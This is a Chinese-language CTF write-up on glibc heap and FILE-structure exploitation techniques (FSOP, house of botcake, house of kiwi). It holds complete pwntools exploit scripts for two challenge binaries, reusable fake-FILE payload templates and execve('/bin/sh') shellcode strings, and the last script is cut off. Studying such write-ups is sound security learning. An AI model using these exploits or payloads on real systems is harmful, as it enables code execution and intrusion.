比赛里常用的一些堆利用技巧,这里做一下分析总结

关于IO

一些gdb里用到的命令

p *(struct _IO_FILE_plus*)addr
fp addr

首先是一般IO的结构

//_IO_FILE_plus
typedef struct _IO_FILE FILE;//glibc/libio/bits/types/FILE.h
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;//虚函数表
};
struct _IO_FILE//glibc/libio/bits/libio.h
{
    int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */

    /* The following pointers correspond to the C++ streambuf protocol. */
    char *_IO_read_ptr;        /* Current read pointer 输入缓冲区的当前地址*/
    char *_IO_read_end;      /* End of get area. 输入缓冲区的结束地址*/
    char *_IO_read_base;    /* Start of puback+get area. 输入缓冲区的起始地址*/
    char *_IO_write_base;   /* Start of put area. 输出缓冲区的起始地址*/
    char *_IO_write_ptr;      /* Current put pointer. 输出缓冲区的当前地址*/
    char *_IO_write_end;    /* End of put area. 输出缓冲区的结束地址*/
    char *_IO_buf_base;     /* Start of reserve area. 输入输出缓冲区的起始地址*/
    char *_IO_buf_end;      /* End of reserve area. 输入输出缓冲区的结束地址*/
 
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base;           /* Pointer to start of non-current get area. */
    char *_IO_backup_base;      /* Pointer to first valid character of backup area. */
    char *_IO_save_end;            /* Pointer to end of non-current get area. */
    ......
    struct _IO_FILE *_chain;//指向下一个_IO_FILE结构体的指针
    int _fileno;
    ......
    int _flags2;
    ......
#ifdef _IO_USE_OLD_IO_FILE//是一个内部宏,没有这一块就会拓展结构体,初始的三个结构体都是扩展后的(从_lock之后到vtable之前的字段均为扩展后的)
};

struct _IO_FILE_complete
{
    struct _IO_FILE _file;
#endif
    ......
    size_t __pad5;
    int _mode;
    char _unused2[15 * sizeof(int) - 4 * sizeof(void*) - sizeof(size_t)];
};
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

其中flag字段的定义如下,一般在劫持stdout中会遇到,通常伪造为0xfbad1800

//glibc/libio/libio.h
/* Magic number and bits for the _flags field.  The magic number is
   mostly vestigial, but preserved for compatibility.  It occupies the
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

IO_FILE中各字段的长度如下

_IO_FILE_plus_size = {
    'i386':0x98,
    'amd64':0xe0
}
_IO_FILE_plus = {
    'i386':{
        0x0:'_flags',
        0x4:'_IO_read_ptr',
        0x8:'_IO_read_end',
        0xc:'_IO_read_base',
        0x10:'_IO_write_base',
        0x14:'_IO_write_ptr',
        0x18:'_IO_write_end',
        0x1c:'_IO_buf_base',
        0x20:'_IO_buf_end',
        0x24:'_IO_save_base',
        0x28:'_IO_backup_base',
        0x2c:'_IO_save_end',
        0x30:'_markers',
        0x34:'_chain',
        0x38:'_fileno',
        0x3c:'_flags2',
        0x40:'_old_offset',
        0x44:'_cur_column',
        0x46:'_vtable_offset',
        0x47:'_shortbuf',
        0x48:'_lock',
        0x4c:'_offset',
        0x54:'_codecvt',
        0x58:'_wide_data',
        0x5c:'_freeres_list',
        0x60:'_freeres_buf',
        0x64:'__pad5',
        0x68:'_mode',
        0x6c:'_unused2',
        0x94:'vtable'
    },

    'amd64':{
        0x0:'_flags',
        0x8:'_IO_read_ptr',
        0x10:'_IO_read_end',
        0x18:'_IO_read_base',
        0x20:'_IO_write_base',
        0x28:'_IO_write_ptr',
        0x30:'_IO_write_end',
        0x38:'_IO_buf_base',
        0x40:'_IO_buf_end',
        0x48:'_IO_save_base',
        0x50:'_IO_backup_base',
        0x58:'_IO_save_end',
        0x60:'_markers',
        0x68:'_chain',
        0x70:'_fileno',
        0x74:'_flags2',
        0x78:'_old_offset',
        0x80:'_cur_column',
        0x82:'_vtable_offset',
        0x83:'_shortbuf',
        0x88:'_lock',
        0x90:'_offset',
        0x98:'_codecvt',
        0xa0:'_wide_data',
        0xa8:'_freeres_list',
        0xb0:'_freeres_buf',
        0xb8:'__pad5',
        0xc0:'_mode',
        0xc4:'_unused2',
        0xd8:'vtable'
    }
}

gilbc/libio/libioP.h中有如下声明

extern struct _IO_FILE_plus *_IO_list_all;

该变量为一个单链表的头结点,该单链表用于管理程序中所有的FILE结构体,并通过**_chain字段索引下一个FILE结构体,每个程序中该链表的最后3个节点从后往前固定为_IO_2_1_stdin_IO_2_1_stdout_IO_2_1_stderr,之前是用户新申请的FILE结构体,每次新申请的FILE**结构体会插在该链表的表头。

这里其实涉及到一个FSOP的利用,通过伪造关于_IO_list_all的指针从而伪造IO结构体

img

上边都是定义,接下来我们gdb看看具体的例子

pwndbg> p/x _IO_2_1_stderr_
$2 = {
  file = {
    _flags = 0xfbad2087,
    _IO_read_ptr = 0x7fde482f7643,
    _IO_read_end = 0x7fde482f7643,
    _IO_read_base = 0x7fde482f7643,
    _IO_write_base = 0x7fde482f7643,
    _IO_write_ptr = 0x7fde482f7643,
    _IO_write_end = 0x7fde482f7643,
    _IO_buf_base = 0x7fde482f7643,
    _IO_buf_end = 0x7fde482f7644,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7fde482f76a0,//_IO_2_1_stdout
    _fileno = 0x2,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = {0x0},
    _lock = 0x7fde482f94b0,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7fde482f6780,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0x0,
    _unused2 = {0x0 <repeats 20 times>}
  },
  vtable = 0x7fde482f84a0//_IO_file_jumps
}
pwndbg> p/x *_IO_2_1_stderr_.vtable
$4 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7fde4819e0d0,//FSOP2.27
  __overflow = 0x7fde4819ef00,//FSOP
  __underflow = 0x7fde4819eba0,
  __uflow = 0x7fde481a00d0,
  __pbackfail = 0x7fde481a1800,
  __xsputn = 0x7fde4819d750,house of emma
  __xsgetn = 0x7fde4819d3c0,
  __seekoff = 0x7fde4819c9e0,//house of cat
  __seekpos = 0x7fde481a0780,
  __setbuf = 0x7fde4819c6b0,
  __sync = 0x7fde4819c540,//house of kiwi
  __doallocate = 0x7fde4818fdf0,
  __read = 0x7fde4819d720,
  __write = 0x7fde4819cfe0,
  __seek = 0x7fde4819c780,
  __close = 0x7fde4819c6a0,
  __stat = 0x7fde4819cfc0,
  __showmanyc = 0x7fde481a1990,
  __imbue = 0x7fde481a19a0
}

当我们调用stdin相关IO函数调用函数指针时就会从stdinvtable里面查找相关的函数指针。比如_IO_OVERFLOW就会引索stdin的vtable到__overflow = 0x7fde4819ef00

下面介绍2种除了了Largebinattack以外IO利用中常用的堆利用技巧

fastbin reverse into tcache

利用:简单来说就是把fastbin填满的同时,让tcache为空。修改fastbin尾节点的fd到目标地址。

触发:申请一个该大小的堆,fastbin就会由头至尾放入tcache,可以在目标地址写入一个堆地址

2.33及以上:开始会有对齐检测,而写入操作会写入0x10的内容[堆地址,tcache_struct+0x10],写入一个tcache_struct+0x10

技巧杂谈:

这个方法往往需要14个以上的堆序号

如果改count为7直接来填充fastbin,为了绕过doublefree检测,需要能申请很多个不同的chunk。在题目中往往申请的堆数量受到idx限制,这时候可以考虑控制到tcache_struct来实现申请绕过tcache,del不绕过tcache,再申请不绕过tcache,del绕过tcache。这样在UAF的情况下,只用一个idx即可实现布置

利用手法:

1.tcache中放5个chunk,smallbin中放两个
2.将smallbin中倒数第二个chunk的bk改成&target-0x10,这里注意不能破坏fd指针,同时将&target+8处设置成一个指针,且指向可写内存区域
3.从smallbin中取出一个chunk,目标地址就会被链入tcache中

技巧杂谈:

&target+8处设置成一个指针,这里往往可以利用上Largebinattack

house of botcake(UAF)

主要在申请小于0x400size的堆块时可以使用的堆复用技巧,也通常用于没有edit的情况

从glibc 2.29开始tcache增加了key字段,一般来说我们需要覆盖掉key字段,才能进行double free操作。

house of botcake借用unsortbin来避免key字段实现doublefree堆复用(如果只是实现堆复用不去利用unsortbin上的libc地址,也可以借用fastbin)。

具体操作就是在填满 tcache 之后,再连续释放两个相邻的堆块使其合并(单个堆块会导致unsortbin双向链表损坏,从而导致无法申请unsortbin里的堆块,这里起到一个隔断作用)放到 unsorted bin 里,然后从tcache 中申请出一个堆块,再释放合并堆块下半部分堆块。那么这个下半部分chunk既出现在tcache里,又出现在unsorted bin里。 再通过错位切割直接申请unsortbin,就能控制tcache

image-20220723104456758

image-20220723110310852

技巧杂谈及适用条件

这种技巧通常用在没有泄露地址时,通过利用unsortbin上的地址实现爆破,特别是没有show功能时

由于要利用到堆自然合并以及tcache,可申请的size就不能在fastbin范围,要在tcache范围<0x420,同时2.27往上

错位切割是一种可以优先于tcache先申请unsortbin的方法,同时也能残留下unsortbin的地址

在IO利用开始之前

伪造IO结构体之前,往往要覆盖掉IO_list_all,或者chain字段,要实现地址写

如果只能写入堆地址,那就可以在堆上伪造IO结构体了

但如果能实现任意地址写入,在exit这样栈返回的触发情况下,我们可以考虑去控制栈上的ret指针来实现rop

libc.sym[‘environ’]中存放着栈地址,只需要加上偏移就能得到栈上ret指针的地址

或者劫持link_map结构体改程序基地址,也是一种利用思路

FSOP

利用链

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_overflow

FSOP是用来控制程序执行流的,FSOP主要利用了 _IO_flush_all_lockp 函数,该函数的功能是刷新所有FILE结构体的输出缓冲区

int _IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
//遍历 _IO_list_all
  for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)		//如果输出缓冲区有数据,刷新输出缓冲区
    result = EOF;

      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

调用_IO_flush_all_lockp主要有三个时机:1.libc执行abort函数时(内存错误)2.程序显式调用 exit 函数时3.程序从main函数返回时

利用杂谈

fsop更像是一种工具,在2.31以下的版本都是首选,即便是之前的版本,2.23和2.27还是有些区别

通常的打法

方案一:劫持IO_list_all写上堆地址,然后伪造IO结构体,exit触发

触发的话,也可申请到不能申请的地址触发报错

baby_arena_BCTF2018(libc2.23/global_max_fast任意地址写利用)

image-20220601153926668

漏洞点有2个,一个UAF

image-20220601153951776

另一个是这里的溢出,导致可以往任意地址写入一个’admin’

image-20220601154038567

这里主要利用了一个修改global_max_fast的方式来劫持IO_list_all,这里利用global_max_fast实现任意地址写的mallocsize主要如下计算

def offset2size(offset):
    assert offset % 8 == 0
    return (offset * 2) + 0x10
 
pwndbg> p &main_arena.fastbinsY
$5 = (mfastbinptr (*)[10]) 0x7f8a7d7b0b28 <main_arena+8>
pwndbg> p &_IO_list_all
$6 = (struct _IO_FILE_plus **) 0x7f8a7d7b1520 <_IO_list_all>
pwndbg> p/x 0x7f8a7d7b1520-0x7f8a7d7b0b28
$7 = 0x9f8
pwndbg> p/x 2*0x9f8+0x10
$8 = 0x1400

然后就是一个触发的问题,这里我们改了fastbin的范围,导致malloc时申请了不可申请的区域,触发_IO_flush_all_lockp

//这里只需要绕过整个判断即可执行_IO_OVERFLOW
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

p = process('./baby_arena')
elf = ELF("./baby_arena")
libc = elf.libc
def dbg():
    gdb.attach(p)

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

user = 0x6020B0

def add(size,con):
    sla("4.exit",1)
    sla("Pls Input your note size",size)
    p.sendlineafter("Input your note",con)

def dele(idx):
    sla("4.exit",2)
    sla("Input id:",idx)

def login(name,user):
    sla("4.exit",3)
    p.sendafter("Please input your name",name)
    sla("1.admin",user)

# dbg()
add(0x300,'e4l4')
add(0x1400,'e4l4')
dele(0)
add(0x300,'')
p.recvuntil("your note is")
libc_base = uu64()-0x3c4b78
lg("libc_base")
# p/x &global_max_fast
one_gadget = libc_base + 0xf1247
Global_max_fast = libc_base + 0x3c67f8
IO_list_all = libc_base + libc.sym['_IO_list_all']
    
login(p64(one_gadget) + p64(Global_max_fast-8),1)

dele(1)
fake_IO_FILE  = p64(0xFBAD1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
fake_IO_FILE += p64(0) + p64(0)*2
fake_IO_FILE += p64(0x6020B0 - 0x18)

add(0x1400,fake_IO_FILE[0x10:])
dele(1)

sla('exit','1')
sla('size',0x100)

# dbg()
p.interactive()

2.27下有如下利用

_IO_str_finish的利用

利用链

fsop->_IO_str_finish

这种方法主要利用的是_IO_str_jumps这张vtable表,来绕过对表位置的检测

void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

这里仍然需要构造好条件,因为最后我们是要模拟触发_IO_OVERFLOW。

//绕过条件
fp->_mode <= 0 
fp->_IO_write_ptr > fp->_IO_write_base

fp->vtable = _IO_str_jumps_addr
fp->_flags & _IO_USER_BUF = 0 // 最低位没有 1 

fp->_IO_buf_base != 0 ==> fp->_IO_buf_base = binsh_addr
                          fp->_s._free_buffer = system_addr 

#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
# 模板
def FILE(binsh,system,IO_str_jumps):
    fake_IO_FILE  = p64(0xfbad1800) + p64(0)*3
    fake_IO_FILE += p64(0) + p64(1) # fp->_IO_write_ptr > fp->_IO_write_base
    fake_IO_FILE += p64(0) + p64(binsh)
    fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
    fake_IO_FILE += p64(0) + p64(0)*2	# _mode <= 0
    fake_IO_FILE += p64(IO_str_jumps-8)
    fake_IO_FILE += p64(0) + p64(system)# 0xe8
    return fake_IO_FILE

fake_IO = FILE(sh_addr,system_addr,_IO_str_jumps)

_IO_str_overflow的利用(其一)

利用链

FSOP->_IO_str_overflow
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_USER_BUF 1
int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
    
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
    
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;//二进制表示的 _flags 倒数第三位不能为1 。0xfbad1800
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
    
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))//0xfbad1800
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;//(binsh_addr−100)//2
      if (new_size < old_blen)
        return EOF;
      new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//利用点
====================================================================================================
      if (new_buf == NULL)
        {
          /*	  __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)
//绕过条件
fp->_mode <= 0	
fp->_IO_write_ptr > fp->_IO_write_base	

fp->_flags = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_s._allocate_buffer = system_addr
fp->_IO_buf_base = 0
fp->_IO_buf_end = (binsh_addr-100)//2
def FILE(binsh,system,IO_str_jumps):
    fake_IO_FILE  = p64(0xfbad1800) + p64(0)*3
    fake_IO_FILE += p64(0) + p64(0xffffffffffffffff) # fp->_IO_write_ptr > fp->_IO_write_base; pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)
    fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)
    fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
    fake_IO_FILE += p64(0) + p64(0)*2	# _mode <= 0
    fake_IO_FILE += p64(IO_str_jumps)
    fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer
    return fake_IO_FILE

baby_arena_BCTF2018(libc2.27/global_max_fast任意地址写利用)

2.27下新增了对vtable位置的检测,主要考虑使用原生vtable进行修改

同样的题,版本不一样,这里system(“/bin/sh”)getshell,申请的size大小有所区别,这里用显式exit触发_IO_flush_all_lockp

image-20220601172226857

# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

p = process('./baby_arena')
elf = ELF("./baby_arena")
libc = elf.libc
def dbg():
    gdb.attach(p)

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

user = 0x6020B0

def add(size,con):
    sla("4.exit",1)
    sla("Pls Input your note size",size)
    p.sendlineafter("Input your note",con)

def dele(idx):
    sla("4.exit",2)
    sla("Input id:",idx)

def login(name,user):
    sla("4.exit",3)
    p.sendafter("Please input your name",name)
    sla("1.admin",user)

# dbg()
add(0x418,'e4l4')
add(0x1430,'e4l4')

dele(0)
add(0x418,'')
p.recvuntil("your note is")
libc_base = uu64()-0x3ebca0
lg("libc_base")

# p/x &global_max_fast
sh_addr = libc_base+libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']
Global_max_fast = libc_base + 0x3ed940
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x3e8360
login(p64(system_addr) + p64(Global_max_fast-8),1)

dele(0)
add(0x418,'a'*0x410+p64(0))

# dbg()
dele(1)

# 0x7fa0d6e7d660-0x7fa0d6e7cc50
def FILE(binsh,system,IO_str_jumps):
    fake_IO_FILE  = p64(0xfbad1800) + p64(0)*3
    fake_IO_FILE += p64(0) + p64(0xffffffffffffffff) # fp->_IO_write_ptr > fp->_IO_write_base; pos = fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
    fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)
    fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
    fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2  # _mode <= 0
    fake_IO_FILE += p64(IO_str_jumps)
    fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer
    return fake_IO_FILE

fake_IO = FILE(sh_addr,system_addr,IO_str_jumps)
add(0x1430,fake_IO[0x10:])
dele(1)

sla('exit','4')

p.interactive()

house of kiwi

利用链

__malloc_assert->fflush->_IO_file_sync(rdx == IO_helper_jumps)

适用情况

高版本的沙盒绕过

禁用free_hook和malloc_hook(2.34以上)

exit函数替换成_exit函数(导致最终结束的时候进行syscall来结束,并没有机会调用_IO_cleanup不走刷新流)

技巧杂谈

核心是利用stderr错误流,不需要伪造整个结构体,主要是改2个位置,也就是说只要有任意地址写即可

方案一:一个是IO_file_jumps+0x60(要执行的函数),一个是IO_helper_jumps+0xa0(写上rop链地址)

方案二:一个是IO_file_jumps+0x60(要执行的函数),一个IO_2_1_stderr(作为rdi),system(/bin/sh)

触发利用错误流:

__malloc_assert断言,当topchunksize不足以分配malloc所需大小时触发

NULL_FxCK(offbynull/sandbox/libc2.32)

题目是NepCTF2021年中NULL_FxCK

image-20220527222845161

image-20220527223316657

2.32的版本,tcache已经有异或key了,漏洞点在edit时有offbynull,且edit只能执行一次

image-20220527222947798

在菜单后执行一个check函数,实现了一些禁用,heapinfo存放的是堆基地址

image-20220527223105688

GLIBC 2.32/malloc.c:288这里存在一个fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针

# __malloc_assert
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
           __progname, __progname[0] ? ": " : "",
           file, line,
           function ? function : "", function ? ": " : "",
           assertion);
fflush (stderr);
abort ();
}

进入assert后,跟进调试可以发现在fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针

在这个函数里第三个参数为IO_helper_jumps指针,其值为固定值

image-20220527224208227

image-20220527224307476

我们使用方案一

修改 _IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61

修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移orw

image-20220527224613978

这里借用fmyy师傅的exp,写一点注释

这道题主要的思路是利用largebinatttack任意地址写,去打线程中存放tcache_struct地址的位置

劫持tcache_struct,达到任意地址写的目的,再结合assert断言触发payload

# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

p = process('./fcvk')
elf = ELF("./fcvk")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def menu(ch):
    p.sendlineafter('>> ',str(ch))
def New(size,content):
    menu(1)
    p.sendlineafter('Size: ',str(size))
    p.sendafter('Content: ',content)
def Modify(index,content):
    menu(2)
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)
def Show(index):
    menu(4)
    p.sendlineafter('Index: ',str(index))
def Free(index):
    menu(3)
    p.sendlineafter('Index: ',str(index))

ptr = 0x4160
while True:
    p = process("./fcvk")
    try:
        #高版本的offbynull堆合并用于泄露地址和堆复用,add时编辑的内容最后一字节会置零这里要爆破
        New(0x2000,'FMYY')# 0
        New(0x1000,'FMYY')# 1 用于srop
        New(0x2000 - 0x2F0 - 0x600,'FMYY')# 2 填地址使chunk2地址对齐000
        
        New(0x4F0,'FMYY') # 3 chunk1
        New(0x108,'FMYY') # 4
        New(0x500,'FMYY') # 5 chunk2 
        New(0x108,'FMYY') # 6
        New(0x108,'FMYY') # 7
        New(0x108,'FMYY') # 8
        New(0x510,'FMYY') # 9 chunk3
        New(0x108,'FMYY') # 10
        New(0x4F0,'FMYY') # 11 chunk4
        New(0x108,'FMYY') # 12

        # 设置fakechunk fd and bk 以及 chunk1 bk
        Free(3)
        Free(5)
        Free(9)
        New(0x2000,'FMYY')#3
        Free(3)
        New(0x500,'\x00'*8 + p64(0xE61)) # 3 chunk2 set fakechunk_size
        New(0x4F0,'\x00'*8+ '\x10\x00') # 5 chunk1

        # 设置chunk3 fd 
        Free(11)
        New(0x800,'FMYY') # 9 put in largebin
        Free(9)
        New(0x510,'\x10\x00') #9 chunk3
        New(0x4F0,'\x00'*0x20) #11 chunk4
        
        # 设置prev_size位
        Modify(10,'\x00'*0x100 + p64(0xE60))
        Free(11)
        New(0x4F0,'FMYY') #11  to split the unsorted bin chunk
        New(0x1000,'FMYY') # 12 put in largebin
        Show(6)# 堆复用unsrtbin-6
        libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
        lg("libc_base")
        Show(9)# chunk3
